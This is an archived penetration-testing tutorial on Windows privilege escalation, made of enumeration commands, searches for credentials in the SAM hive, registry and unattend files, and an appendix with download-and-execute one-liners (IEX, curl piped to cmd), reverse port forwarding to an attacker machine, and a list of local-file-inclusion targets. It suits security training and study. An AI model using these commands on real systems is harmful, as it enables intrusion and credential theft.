Windows Privilege Escalation Guide
By Ryan McFarland
Archived: 2026-04-06 01:18:39 UTC
Privilege escalation always comes down to proper enumeration. But to accomplish proper enumeration you need
to know what to check and look for. This takes familiarity with systems that normally comes along with
experience. At first privilege escalation can seem like a daunting task, but after a while you start to filter through
what is normal and what isn’t. It eventually becomes easier to know what to look for rather than digging through
everything hoping to find that needle in the haystack. Hopefully this guide will provide a good foundation to build
upon and get you started.
This guide is influenced by g0tm1lk’s Basic Linux Privilege Escalation, which at some point you should have
already seen and used. I wanted to try to mirror his guide, except for Windows. So this guide will mostly focus on
the enumeration aspect.
Note: I am not an expert and still learning myself.
Guide Layout
In each section I first provide the old trusted CMD commands and then also a Powershell equivalent for posterity
sake. It’s good to have both tools under your belt and Powershell is much more versatile for scripting than the
traditional CMD. However there isn’t a Powershell equivalent for everything (or CMD is still simply easier/better
on certain things), so some sections will only contain regular CMD commands.
Version 1.3 - Last updated October 2018
Operating System
What is the OS and architecture? Is it missing any patches?
systeminfo
wmic qfe
Is there anything interesting in environment variables? A domain controller in LOGONSERVER ?
set
Get-ChildItem Env: | ft Key,Value
Are there any other connected drives?
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net use
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Users
Who are you?
whoami
echo %USERNAME%
$env:UserName
Any interesting user privileges? Note: The State column does not mean that the user does or does not have access
to this privilege. If the privilege is listed, then that user has it.
whoami /priv
What users are on the system? Any old user profiles that weren’t cleaned up?
net users
dir /b /ad "C:\Users\"
dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Is anyone else logged in?
qwinsta
What groups are on the system?
net localgroup
Get-LocalGroup | ft Name
Are any of the users in the Administrators group?
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net localgroup Administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Anything in the Registry for User Autologon?
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName Default
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | s
Anything interesting in Credential Manager?
cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Can we access SAM and SYSTEM files?
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Programs, Processes, and Services
What software is installed?
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
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Are there any weak folder or file permissions?
Full Permissions for Everyone or Users on Program Folders?
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
Modify Permissions for Everyone or Users on Program Folders?
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Whe
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Wher
You can also upload accesschk from Sysinternals to check for writeable folders and files.
accesschk.exe -qwsu "Everyone" *
accesschk.exe -qwsu "Authenticated Users" *
accesschk.exe -qwsu "Users" *
What are the running processes/services on the system? Is there an inside service not exposed? If so, can we open
it? See Port Forwarding in Appendix.
tasklist /svc
tasklist /v
net start
sc query
Get-Process has a -IncludeUserName option to see the process owner, however you have to have
administrative rights to use it.
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Get-Service
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This one liner returns the process owner without admin rights, if something is blank under owner it’s probably
running as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE.
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle,
Any weak service permissions? Can we reconfigure anything? Again, upload accesschk.
accesschk.exe -uwcqv "Everyone" *
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv "Users" *
Are there any unquoted service paths?
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -an
What scheduled tasks are there? Anything custom implemented?
schtasks /query /fo LIST 2>nul | findstr TaskName
dir C:\windows\tasks
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
What is ran at startup?
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run'
Get-ItemProperty -Path 'Registry::HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce'
Get-ChildItem "C:\Users\All Users\Start Menu\Programs\Startup"
Get-ChildItem "C:\Users\$env:USERNAME\Start Menu\Programs\Startup"
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Is AlwaysInstallElevated enabled? I have not ran across this but it doesn’t hurt to check.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Networking
What NICs are connected? Are there multiple networks?
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
What routes do we have?
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
Anything in the ARP cache?
arp -a
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
Are there connections to other hosts?
netstat -ano
Anything in the hosts file?
C:\WINDOWS\System32\drivers\etc\hosts
Is the firewall turned on? If so what’s configured?
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"
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Any other interesting interface configurations?
netsh dump
Are there any SNMP configurations?
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
Interesting Files and Sensitive Information
This section may be a little noisy so you may want to output commands into txt files to review and parse as you
wish.
Any passwords in the registry?
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s
Are there sysprep or unattend files available that weren’t cleaned up?
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_
If the server is an IIS webserver, what’s in inetpub? Any hidden directories? web.config files?
dir /a C:\inetpub\
dir /s web.config
C:\Windows\System32\inetsrv\config\applicationHost.config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
What’s in the IIS Logs?
C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
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Is XAMPP, Apache, or PHP installed? Any there any XAMPP, Apache, or PHP configuration files?
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction
Any Apache web logs?
dir /s access.log error.log
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
Any interesting files to look at? Possibly inside User directories (Desktop, Documents, etc)?
dir /s *pass* == *vnc* == *.config* 2>nul
Get-Childitem –Path C:\Users\ -Include *password*,*vnc*,*.config -File -Recurse -ErrorAction SilentlyContinue
Files containing password inside them?
findstr /si password *.xml *.ini *.txt *.config 2>nul
Get-ChildItem C:\* -include *.xml,*.ini,*.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -
Appendix
Enumeration Script
I’ve created a Powershell script which pretty much automates all of the above. You can check it out here.
Transferring Files
At some point during privilege escalation you will need to get files onto your target. Below are some easy ways to
do so.
PowerShell Cmdlet (Powershell 3.0 and higher)
Invoke-WebRequest "https://server/filename" -OutFile "C:\Windows\Temp\filename"
PowerShell One-Liner
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(New-Object System.Net.WebClient).DownloadFile("https://server/filename", "C:\Windows\Temp\filename")
PowerShell One-Line Script Execution in Memory
IEX(New-Object Net.WebClient).downloadString('http://server/script.ps1')
PowerShell with Proxy
$browser = New-Object System.Net.WebClient;
$browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
IEX($browser.DownloadString('https://server/script.ps1'));
PowerShell Script
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://server/file.exe" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
Non-interactive FTP via text file. Useful for when you only have limited command execution.
echo open 10.10.10.11 21> ftp.txt
echo USER username>> ftp.txt
echo mypassword>> ftp.txt
echo bin>> ftp.txt
echo GET filename>> ftp.txt
echo bye>> ftp.txt
ftp -v -n -s:ftp.txt
CertUtil
certutil.exe -urlcache -split -f https://myserver/filename outputfilename
Certutil can also be used for base64 encoding/decoding.
certutil.exe -encode inputFileName encodedOutputFileName
certutil.exe -decode encodedInputFileName decodedOutputFileName
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Starting with Windows 10 1803 (April 2018 Update) the curl command has been implemented which gives
another way to transfer files and even execute them in memory. Piping directly into cmd will run most things but it
seems like if you have anything other than regular commands in your script, ie loops, if statements etc, it doesn’t
run them correctly.
curl http://server/file -o file
curl http://server/file.bat | cmd
And with PowerShell
IEX(curl http://server/script.ps1);Invoke-Blah
Port Forwarding
This is useful for exposing inside services that aren’t available from outside the machine, normally due to firewall
settings.
Upload plink.exe to target.
Start SSH on your attacking machine.
For example to expose SMB, on the target run:
plink.exe -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
As of Windows 10 1803 (April 2018 Update), ssh client is now included and turned on by default! So you’re able
use ssh to do port forwarding right out of the box now.
ssh -l root -pw password -R 445:127.0.0.1:445 YOURIPADDRESS
Local File Inclusion List
This is not an exhaustive list, installation directories will vary, I’ve only listed common ones.
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
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C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
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C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
Source: https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
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